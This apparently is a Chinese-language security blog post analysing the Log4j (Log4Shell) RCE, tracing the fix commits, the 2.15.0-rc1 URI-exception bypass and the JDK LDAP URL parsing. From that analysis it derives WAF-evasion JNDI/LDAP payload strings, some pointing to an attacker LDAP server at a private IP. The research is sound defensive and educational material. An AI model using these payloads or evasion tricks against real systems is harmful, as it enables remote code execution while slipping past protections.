log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips
跟进漏洞产生原因的思路
如何发现漏洞产生原因的
了解到log4j <=2.14.1 存在RCE的情况,我马上跑到其官方github看了一下,发现commit记录中有两个关键commit
- 第一,log4j不再自动对消息中的lookup进行格式化,第一时间看到不是很懂
- 第二,限制JNDI默认支持,限制通过LDAP访问服务器和类
这两个点很容易联想到是不是跟JNDI攻击有关系,毕竟RMI和LDAP很容易做到RCE。跟进commit看看具体的修改情况,github.com/apache/logg… 这个commit中,对org.apache.logging.log4j.core.net.JndiManager.java进行了大量修改,特别是在lookup方法中,加了很多代码
【私信回复“资料”获取log4j的复现/修复教程】点击查看网络安全学习攻略
仔细看了一下,没有修改前,lookup方法直接通过this.context.lookup(name)执行JNDI操作,没有任何过滤或者限制,而新增加的代码在限制JNDI服务器、类。当天晚上看到payload后,马上对log4j 2.14.1版本尝试验证一下,并在JndiManager#lookup方法中断点看到如下
很明显,name就是payload中给定的,仔细看一下调用栈就可以发现,log4j会对字符串中的${}自动解析,也就是前面提到的commit备注信息中写到的。
如何绕过2.15.0-rc1版本
看到rc1版本存在绕过的消息,又来看看官方github仓库的commit记录,里面有一条在更新到2.15.0-rc1版本后的commit记录,提交的信息是"handle URI exception",即处理了URI出错的情况。修改代码情况如下图
JndiManager#lookup方法处给catch语句中添加了两行代码,记录URI解析错误并返回null。而添加这两行代码前,此处只有一行注释,因此catch报错后会继续向下执行this.context.lookup,也就意味着前面try语句中的代码报错后,会继续执行JNDI操作,绕过也就来自于这里。
来看看try语句是什么写的
代码比较长没有完全截进来,关键点是进入lookup方法后,立即将name变量送入URI类的构造函数中,此时只要URI的构造函数对name字符串解析出错,即可跳转到catch语句,进而向下执行到JNDI操作。
那么我们要关注的点就是让new URI(name)处报错,但是name又能被jndi正常识别。好在我们用marshalsec构造ldap服务时,不需要关心uri长什么样,所以可以在uri上做文章。
跟踪源代码可以查看到URI对字符的支持情况
数字、字母大小写这些就不说了,其它可打印字符也不多,从上面的注释中可以看到URI对反引号`,空格,尖括号<> 并不支持,基于这一点,可以做个简单的实验
空格和尖括号同样报错,就不重复截图了。回到前面提到的2.15.0-rc1版本对JndiManager#lookup方法的修复情况,并没有在catch语句中添加返回操作或报错,程序遇到报错后,会继续向下执行,从而造成危险。
由于找了很久都没有找到log4j-core-2.15.0-rc1.jar这个包,所以自己写了个函数模拟一下绕过的场景
LDAP绕WAF的tips
URI解析
看完rc1版本的绕过后,又想了一下,防御工具可能会有针对性的做一些关键字检测,所以我打算从LDAP更深层的源代码看看有没有对字符串变形的可能性。
跟着this.context.lookup(name)处向下跟进到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN方法,代码如下
注意var0也就是输入是完整的"ldap://192.168.34.96:1389:/a",而后var2可以使用getHost和getPort方法获取host和port,说明var2对象在创建时解析了ldap地址。跟进LdapURL类到达Uri#parse方法
- com.sun.jndi.toolkit.url.Uri#parse
private void parse ( String var1 ) throws MalformedURLException {
int var2 = var1 . indexOf ( 58 );
if ( var2 < 0 ) {
throw new MalformedURLException ( "Invalid URI: " + var1 );
} else {
this . scheme = var1 . substring ( 0 , var2 );
++ var2 ;
this . hasAuthority = var1 . startsWith ( "//" , var2 );
int var3 ;
if ( this . hasAuthority ) {
var2 += 2 ;
var3 = var1 . indexOf ( 47 , var2 );
if ( var3 < 0 ) {
var3 = var1 . length ();
}
int var4 ;
if ( var1 . startsWith ( "[" , var2 )) {
var4 = var1 . indexOf ( 93 , var2 + 1 );
if ( var4 < 0 || var4 > var3 ) {
throw new MalformedURLException ( "Invalid URI: " + var1 );
}
this . host = var1 . substring ( var2 , var4 + 1 );
var2 = var4 + 1 ;
} else {
var4 = var1 . indexOf ( 58 , var2 );
int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3 ;
if ( var2 < var5 ) {
this . host = var1 . substring ( var2 , var5 );
}
var2 = var5 ;
}
if ( var2 + 1 < var3 && var1 . startsWith ( ":" , var2 )) {
++ var2 ;
this . port = Integer . parseInt ( var1 . substring ( var2 , var3 ));
}
var2 = var3 ;
}
var3 = var1 . indexOf ( 63 , var2 );
if ( var3 < 0 ) {
this . path = var1 . substring ( var2 );
} else {
this . path = var1 . substring ( var2 , var3 );
this . query = var1 . substring ( var3 );
}
}
}
此时var1="ldap://192.168.34.96:1389/a"
- var2第一次赋值为(char)58也就是 : 在ldap中的索引,如果不存在 : 则直接报错
- this.scheme赋值为第1个字符到 : 之间的字符串,也就是ldap、ldaps
- var2第二次赋值自加1,而后检查冒号后是否存在//,如果不存在,则host和port都直接为null,进入path和query解析部分,也就是路径和参数
- 第一个冒号后存在//,则进入if语句,var2第三次赋值,再加2,也就是跳过了//继续向后判断
- (char)47 也就是/,给var3=var1.indexOf("/", var2),实际上为://后第一个/的索引,这是用来找到host和port的一个定位,但很有可能后面没有/(即var1="ldap://192.168.1.1:1389",此时var3直接赋值为var1.length,也就是var1最大索引+1)
- 再往下走,会先判断://和var3直接有没有 [ 和 ] 符号对,且 ] 不能在var3后面否则会直接报错,这里有个意外情况就是ldap://[localhost:1389]/a这样写的话,会将localhost:1389当成host
- 如果没有出现[]符号对,则赋值var4为://后的第一个:的索引,然后判断var4>=0 且 var4<=var3,也就是冒号:必须存在且在var3的前面,条件达成则赋值为var5=var4,否则var5=var3,即从://和:之间获取host,或者从://和/之间获取host。此时出现骚操作"ldap://localhost/:",则host=localhost,骚操作"ldap://localhost",则host=null
- 继续往后走,如果正常在://和var3之间出现冒号,则可以截取出port,如果前面的骚操作"ldap://localhost/:",则port为默认值-1,这个-1在后面大有可为:)
后面解析path和query的部分就不看了,回到com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN也就是上面那个图片的位置,此时host和port都解析好了,正式开启发起ldap请求
LDAP发起
com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN,执行到new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl()),即此时LdapURL已经解析完成,host和port都有了,跟进LdapCtx的构造方法,代码如下
public LdapCtx ( String var1 , String var2 , int var3 , Hashtable <?, ?> var4 , boolean var5 ) throws NamingException {
this . useSsl = this . hasLdapsScheme = var5 ;
if ( var4 != null ) {
this . envprops = ( Hashtable ) var4 . clone ();
if ( "ssl" . equals ( this . envprops . get ( "java.naming.security.protocol" ))) {
this . useSsl = true ;
}
this . trace = ( OutputStream ) this . envprops . get ( "com.sun.jndi.ldap.trace.ber" );
if ( var4 . get ( "com.sun.jndi.ldap.netscape.schemaBugs" ) != null || var4 . get ( "com.sun.naming.netscape.schemaBugs" ) != null ) {
this . netscapeSchemaBug = true ;
}
}
this . currentDN = var1 != null ? var1 : "" ;
this . currentParsedDN = parser . parse ( this . currentDN );
this . hostname = var2 != null && var2 . length () > 0 ? var2 : "localhost" ;
if ( this . hostname . charAt ( 0 ) == '[' ) {
this . hostname = this . hostname . substring ( 1 , this . hostname . length () - 1 );
}
if ( var3 > 0 ) {
this . port_number = var3 ;
} else {
this . port_number = this . useSsl ? 636 : 389 ;
this . useDefaultPortNumber = true ;
}
this . schemaTrees = new Hashtable ( 11 , 0.75F );
this . initEnv ();
try {
this . connect ( false );
} catch ( NamingException var9 ) {
try {
this . close ();
} catch ( Exception var8 ) {
}
throw var9 ;
}
}
这里主要关注hostname和port_number两个参数,即下面的代码块
this . hostname = var2 != null && var2 . length () > 0 ? var2 : "localhost" ;
if ( this . hostname . charAt ( 0 ) == '[' ) {
this . hostname = this . hostname . substring ( 1 , this . hostname . length () - 1 );
}
if ( var3 > 0 ) {
this . port_number = var3 ;
} else {
this . port_number = this . useSsl ? 636 : 389 ;
this . useDefaultPortNumber = true ;
}
其中var2=LdapURL中解析的host,var3=LdapURL中解析的port
- 注意到代码逻辑,如果var2为null,则直接使this.hostname="localhost" ;
- 如果hostname的第一个字符为"[",则取出第二个字符至倒数第二个字符的子字符串,即从[ip],去掉[],获得ip
- 如果var3<=0,即LdapURL解析port失败,则在使用ldaps时,端口改为636,使用ldap时,端口强制改为389
这些逻辑是变换ldap字符串的关键
Bypass WAF tips
根据前面LdapURL和LdapCtx的解析逻辑,可以对log4j的payload做出如下变换
- 不出现port,避免被waf匹配ip:port
${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此时需要ldap服务端口为389
- 对IP添加包裹
前面两个类的解析逻辑中都有对中括号[]的处理,所以给ip添加一下包裹
${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a}
LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
- 不出现ip和端口(有点鸡肋)
${jndi:ldap:/a}
此时相当于ldap://localhost:389/a
这种情况主要是来自于LdapURL解析URL时出错,导致host=null,port=-1,而后LdapCtx中发现host=null,则将host置为localhost,毕竟这样做看起来是可信的
原理是,LdapURL解析时有个关键处理如下
this . hasAuthority = var1 . startsWith ( "//" , var2 ); // var2=第一个冒号的索引
if ( hasAuthority ){
解析获取host和port
}
此时不出现://这个整体,就可以直接跳出host和port的获取,而后在LdapCtx中对host=null时,赋值为localhost,对port=默认值-1时,赋值为389
这个payload需要在目标上执行命令或其它方式开启ldap和文件下载服务,但都可以在目标上执行命令了,还需要这样干吗?所以有点鸡肋,除非java程序的权限比可以执行命令的用户权限更高,从而拿到更高权限(不过提权姿势也很多啊)
- 不出现jndi:ldap关键字
通过upperCase、fastjson的unicode编码等方法可以避免该关键字,具体就不重复写,直接引用浅蓝师傅的博客了b1ue.cn/archives/51… ,
另外可以对log4j解析${}的部分深入了解一下,还能通过其自身特性,避免直接出现jndi:ldap关键字,但不是自己研究出来的就不公开了